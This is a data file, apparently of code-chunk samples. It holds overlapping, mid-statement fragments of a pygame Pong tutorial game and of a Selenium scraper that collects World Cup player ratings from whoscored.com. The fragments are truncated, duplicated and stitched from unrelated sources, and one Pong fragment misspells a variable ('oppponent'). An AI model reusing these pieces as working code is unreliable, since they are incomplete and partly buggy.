"opponent.bottom = screen_height def ball_restart(): global ball_speed, score_time ball.center = (screen_width/2, screen_height/2) current_time",
"screen.blit(opponent_text, (600, 470)) # .flip draws the picture from everything in the loop",
"player_speed -= 7 if event.key == pygame.K_UP: player_speed += 7 ball_animation() player_animation() opponent_animation()",
"pygame.event.get(): # checks if the event is quit if event.type == pygame.QUIT: #",
"if opponent.top <= 0: opponent.top = 0 if opponent.bottom >= screen_height: opponent.bottom =",
"< 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) < 10: ball_speed[0] = ball_speed[0] *",
"light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2 + 20)) elif 1400 < current_time -",
"ball_speed[1] *= -1 def player_animation(): # moving of the players player.y += player_speed",
"ball.x += ball_speed[0] ball.y += ball_speed[1] ball_speed = list(ball_speed) # this changes the",
"ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) < 10: ball_speed[0] = ball_speed[0]",
"game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2 + 20)) elif 700 <",
"input for event in pygame.event.get(): # checks if the event is quit if",
"ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - player.top) < 10 and ball_speed[1]",
"rectangles ball = pygame.Rect(screen_width/2 - 15, screen_height/2 - 15, 30, 30) player =",
"opponent.top <= 0: opponent.top = 0 if opponent.bottom >= screen_height: opponent.bottom = screen_height",
"player.top <= 0: player.top = 0 if player.bottom >= screen_height: player.bottom = screen_height",
"if event.key == pygame.K_DOWN: player_speed -= 7 if event.key == pygame.K_UP: player_speed +=",
"== pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed -= 7 if event.key == pygame.K_UP:",
"def ball_restart(): global ball_speed, score_time ball.center = (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if",
"score_time < 700: number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2",
"else: ball_speed = (7 * random.choice((1,-1)), 7 * random.choice((1,-1))) score_time = None #",
"opponent.bottom -= opponent_speed # checks for boundaries if opponent.top <= 0: opponent.top =",
"pygame.time.get_ticks() if current_time - score_time < 700: number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three,",
"- 15, screen_height/2 - 15, 30, 30) player = pygame.Rect(screen_width - 20, screen_height/2",
"- 10, screen_height/2 + 20)) elif 1400 < current_time - score_time < 2100:",
"global ball_speed, player_score, opponent_score, score_time # changes ball speed ball.x += ball_speed[0] ball.y",
"= screen_height def opponent_animation(): if opponent.top < ball.y: opponent.top += opponent_speed if opponent.bottom",
"pygame.quit() # sys exit closes the entire program sys.exit() if event.type == pygame.KEYDOWN:",
"< 2100: number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2 +",
"event.key == pygame.K_UP: player_speed += 7 ball_animation() player_animation() opponent_animation() # background color screen.fill((0,0,0))",
"if ball.top <= 0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] *",
"= pygame.time.get_ticks() if current_time - score_time < 700: number_three = game_font.render(\"3\", True, light_grey)",
"*= -1 elif abs(ball.top - player.bottom) < 10 and ball_speed[1] < 0: ball_speed[1]",
"it is closed reliably pygame.quit() # sys exit closes the entire program sys.exit()",
"of these ensures that it is closed reliably pygame.quit() # sys exit closes",
"# moving of the players player.y += player_speed # checks for boundaries if",
"player.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1 elif ball.colliderect(opponent) and",
"= pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time = True # Sound pong_sound =",
"+= 7 if event.key == pygame.K_UP: player_speed -= 7 if event.type == pygame.KEYUP:",
"ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time = pygame.time.get_ticks() elif ball.right >=",
"< 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - opponent.top) < 10",
"and ball_speed[1] < 0: ball_speed[1] *= -1 elif ball.colliderect(opponent) and ball_speed[0] < 0:",
"if event.key == pygame.K_DOWN: player_speed += 7 if event.key == pygame.K_UP: player_speed -=",
"ball.center = (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if current_time - score_time < 700:",
"from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock = pygame.time.Clock()",
"ball_speed = [7 * random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed = 0 opponent_speed =",
"everything in the loop pygame.display.flip() # this limits how fast the loop runs,",
"of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init()",
"screen_height/2 - 70, 10,140) opponent = pygame.Rect(10, screen_height/2 - 70, 10, 140) #",
"ball_speed, player_score, opponent_score, score_time # changes ball speed ball.x += ball_speed[0] ball.y +=",
"- 10, screen_height/2 + 20)) if current_time - score_time < 2100: ball_speed =",
"score_time < 2100: number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2",
"-1 elif abs(ball.bottom - player.top) < 10 and ball_speed[1] > 0: ball_speed[1] *=",
"draws the players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to",
"+= 1 score_time = pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if",
"> 0: ball_speed[1] *= -1 elif abs(ball.top - player.bottom) < 10 and ball_speed[1]",
"def opponent_animation(): if opponent.top < ball.y: opponent.top += opponent_speed if opponent.bottom > ball.y:",
"player_speed += 7 ball_animation() player_animation() opponent_animation() # background color screen.fill((0,0,0)) # draws the",
"quit if event.type == pygame.QUIT: # using both of these ensures that it",
"20)) elif 700 < current_time - score_time < 1400: number_two = game_font.render(\"2\", True,",
"player.bottom >= screen_height: player.bottom = screen_height def opponent_animation(): if opponent.top < ball.y: opponent.top",
"(screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if current_time - score_time < 700: number_three =",
"[0, 0] else: ball_speed = (7 * random.choice((1,-1)), 7 * random.choice((1,-1))) score_time =",
"handles input for event in pygame.event.get(): # checks if the event is quit",
"window screen_width = 1280 screen_height = 960 screen = pygame.display.set_mode((screen_width, screen_height)) # gives",
"- oppponent.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1 def player_animation():",
"speed ball.x += ball_speed[0] ball.y += ball_speed[1] ball_speed = list(ball_speed) # this changes",
"= game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text,",
"= pygame.Rect(screen_width - 20, screen_height/2 - 70, 10,140) opponent = pygame.Rect(10, screen_height/2 -",
"light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart() # draws the score player_text =",
"player_score, opponent_score, score_time # changes ball speed ball.x += ball_speed[0] ball.y += ball_speed[1]",
"0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) < 10: ball_speed[0] = ball_speed[0] * -1",
"screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time = pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] >",
"pygame.Rect(10, screen_height/2 - 70, 10, 140) # color variable light_grey = (200,200,200) ball_speed",
"the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to draw a line <screen>,",
">= screen_height: opponent.bottom = screen_height def ball_restart(): global ball_speed, score_time ball.center = (screen_width/2,",
"# draws the players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) #",
"variables player_score = 0 opponent_score = 0 # text variables game_font = pygame.font.Font(\"freesansbold.ttf\",",
"ball speed ball.x += ball_speed[0] ball.y += ball_speed[1] ball_speed = list(ball_speed) # this",
"= 0 opponent_speed = 7 def ball_animation(): global ball_speed, player_score, opponent_score, score_time #",
"= game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2 + 20)) if current_time",
"True, light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2 + 20)) if current_time - score_time",
"-= 7 if event.type == pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed -= 7",
"moving of the players player.y += player_speed # checks for boundaries if player.top",
"10 and ball_speed[1] < 0: ball_speed[1] *= -1 def player_animation(): # moving of",
"and ball_speed[1] < 0: ball_speed[1] *= -1 def player_animation(): # moving of the",
"> ball.y: opponent.bottom -= opponent_speed # checks for boundaries if opponent.top <= 0:",
"score variables player_score = 0 opponent_score = 0 # text variables game_font =",
"True: # handles input for event in pygame.event.get(): # checks if the event",
"the players player.y += player_speed # checks for boundaries if player.top <= 0:",
"-= opponent_speed # checks for boundaries if opponent.top <= 0: opponent.top = 0",
"- 70, 10, 140) # color variable light_grey = (200,200,200) ball_speed = [7",
"player_speed -= 7 if event.type == pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed -=",
"= pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left)",
"== pygame.K_DOWN: player_speed += 7 if event.key == pygame.K_UP: player_speed -= 7 if",
"-16, 2, 512) pygame.init() clock = pygame.time.Clock() # main window screen_width = 1280",
"0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) < 10: ball_speed[0] = ball_speed[0] * -1",
"game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470)) # .flip draws the picture from everything",
"- 20, screen_height/2 - 70, 10,140) opponent = pygame.Rect(10, screen_height/2 - 70, 10,",
"a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock",
"- 15, 30, 30) player = pygame.Rect(screen_width - 20, screen_height/2 - 70, 10,140)",
"player_speed # checks for boundaries if player.top <= 0: player.top = 0 if",
"screen_height def ball_restart(): global ball_speed, score_time ball.center = (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks()",
"or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1 if ball.left <=",
"player.left) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - player.top) <",
"ball_animation(): global ball_speed, player_score, opponent_score, score_time # changes ball speed ball.x += ball_speed[0]",
"collision if ball.top <= 0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1]",
"ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) < 10: ball_speed[0]",
"10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - opponent.top) < 10 and",
"== pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed += 7 if event.key == pygame.K_UP:",
"20)) if current_time - score_time < 2100: ball_speed = [0, 0] else: ball_speed",
"# handles input for event in pygame.event.get(): # checks if the event is",
"player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey)",
"< 2100: ball_speed = [0, 0] else: ball_speed = (7 * random.choice((1,-1)), 7",
"10, screen_height/2 + 20)) if current_time - score_time < 2100: ball_speed = [0,",
"470)) # .flip draws the picture from everything in the loop pygame.display.flip() #",
"pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to draw a line <screen>, <color> <x1,y1>",
"Score timer score_time = True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\")",
"ball_speed[1] < 0: ball_speed[1] *= -1 elif ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound)",
"pygame.K_UP: player_speed += 7 ball_animation() player_animation() opponent_animation() # background color screen.fill((0,0,0)) # draws",
"if event.key == pygame.K_UP: player_speed += 7 ball_animation() player_animation() opponent_animation() # background color",
"= (7 * random.choice((1,-1)), 7 * random.choice((1,-1))) score_time = None # score variables",
"screen_height = 960 screen = pygame.display.set_mode((screen_width, screen_height)) # gives the display its title",
"player = pygame.Rect(screen_width - 20, screen_height/2 - 70, 10,140) opponent = pygame.Rect(10, screen_height/2",
"elif abs(ball.bottom - player.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1",
"for boundaries if player.top <= 0: player.top = 0 if player.bottom >= screen_height:",
"< ball.y: opponent.top += opponent_speed if opponent.bottom > ball.y: opponent.bottom -= opponent_speed #",
"ball_restart() # draws the score player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470))",
"= 960 screen = pygame.display.set_mode((screen_width, screen_height)) # gives the display its title pygame.display.set_caption(\"Pong\")",
"= None # score variables player_score = 0 opponent_score = 0 # text",
"screen.blit(number_three, (screen_width/2 - 10, screen_height/2 + 20)) elif 700 < current_time - score_time",
"pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed += 7 if event.key == pygame.K_UP: player_speed",
"these ensures that it is closed reliably pygame.quit() # sys exit closes the",
"140) # color variable light_grey = (200,200,200) ball_speed = [7 * random.choice((1,-1)), 7",
"draw a line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if",
"10,140) opponent = pygame.Rect(10, screen_height/2 - 70, 10, 140) # color variable light_grey",
"random.choice((1,-1)), 7 * random.choice((1,-1))) score_time = None # score variables player_score = 0",
"# background color screen.fill((0,0,0)) # draws the players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent)",
"to draw a line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height))"
] |
[
"= caps)#Firefox(capabilities=caps) for team in player_link.keys(): for player in player_link[team].keys(): if player in",
"= dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def",
"team in player_link.keys(): for player in player_link[team].keys(): if player in already_loaded[team].keys(): continue while",
"element_id)) try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return True except TimeoutException as e:",
"expected_conditions as EC from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options",
"---------------------------------------------------------------------------- # # World Cup: Stats scanner # Ver: 0.01 # ---------------------------------------------------------------------------- #",
"Ver: 0.01 # ---------------------------------------------------------------------------- # # # Code by <NAME> # # ----------------------------------------------------------------------------",
"import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import",
"= 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set()",
"countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for country_link in countries_link: browser.get(country_link) sleep(1) team =",
"= webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in player_link.keys(): for player in player_link[team].keys(): if",
"WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.webdriver.common.keys",
"= player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id, by_what = By.ID): # Simplify",
"IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player]",
"browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next page",
"the browser element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return",
"poll_frequency = .1).until(element_present) return True except TimeoutException as e: return False player_link =",
"player in already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH,",
"team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class,",
"by_what = By.ID): # Simplify the detection of an element in the browser",
"# Simplify the detection of an element in the browser element_present = EC.presence_of_element_located((by_what,",
"webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by",
"in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id, by_what =",
"wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try: iframe",
"browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1)",
"World Cup: Stats scanner # Ver: 0.01 # ---------------------------------------------------------------------------- # # # Code",
"countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'):",
"rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(),",
"element in the browser element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency =",
"[team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next",
"return False player_link = np.load(\"Data/player_link.npy\").item() # will delete nan from already_loaded already_loaded =",
"element_id, by_what = By.ID): # Simplify the detection of an element in the",
"selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser =",
"click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click()",
"from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import",
"np import pandas as pd import re from bs4 import BeautifulSoup from selenium",
"from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import",
"browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link)",
"= By.ID): # Simplify the detection of an element in the browser element_present",
"np.load(\"Data/player_link.npy\").item() # will delete nan from already_loaded already_loaded = rating_dict.copy() for team in",
"in already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]')))",
"try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] =",
"return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click",
"already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict =",
"# # # Code by <NAME> # # ---------------------------------------------------------------------------- # import os import",
"re from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait",
"in the browser element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present)",
"from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser",
"nan from already_loaded already_loaded = rating_dict.copy() for team in rating_dict.keys(): for player in",
"WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") '''",
"e: return False player_link = np.load(\"Data/player_link.npy\").item() # will delete nan from already_loaded already_loaded",
"selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import sleep",
"sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for country_link in countries_link: browser.get(country_link) sleep(1) team",
"for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id,",
"caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{} for team in player_link.keys()}",
"browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]')",
"browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan except TimeoutException:",
"# World Cup: Stats scanner # Ver: 0.01 # ---------------------------------------------------------------------------- # # #",
"None) #caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{}",
"np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id, by_what = By.ID): # Simplify the detection",
"Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan except TimeoutException: sleep(5) np.save(\"Data/rating_dict.npy\", rating_dict) rating_dict['Saudi",
"the detection of an element in the browser element_present = EC.presence_of_element_located((by_what, element_id)) try:",
"try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return True except TimeoutException as e: return",
"# ---------------------------------------------------------------------------- # # World Cup: Stats scanner # Ver: 0.01 # ----------------------------------------------------------------------------",
"rating_dict.copy() for team in rating_dict.keys(): for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None)",
"import BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import",
"selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC",
"for team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in player_link.keys():",
"browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try: iframe = browser.find_element_by_xpath('//iframe')",
"browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player])",
"selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException",
"if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\"",
"NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\")",
"import pandas as pd import re from bs4 import BeautifulSoup from selenium import",
"browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')]",
"country_link in countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player",
"numpy as np import pandas as pd import re from bs4 import BeautifulSoup",
"selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities",
"browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for country_link in countries_link: browser.get(country_link)",
"in player_link[team].keys(): if player in already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player]) wait =",
"player_link) ''' def detect_element(browser, element_id, by_what = By.ID): # Simplify the detection of",
"\"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for country_link in countries_link: browser.get(country_link) sleep(1)",
"from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3)",
"from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from",
"player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME",
"iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan",
"selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By",
"'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser))",
"will delete nan from already_loaded already_loaded = rating_dict.copy() for team in rating_dict.keys(): for",
"player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in player_link.keys(): for player in",
"= \"none\" #rating_dict = {team:{} for team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities =",
"''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href')",
"False player_link = np.load(\"Data/player_link.npy\").item() # will delete nan from already_loaded already_loaded = rating_dict.copy()",
"#countries_link player_link = dict() for country_link in countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]')",
"# Ver: 0.01 # ---------------------------------------------------------------------------- # # # Code by <NAME> # #",
"an element in the browser element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency",
"countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next",
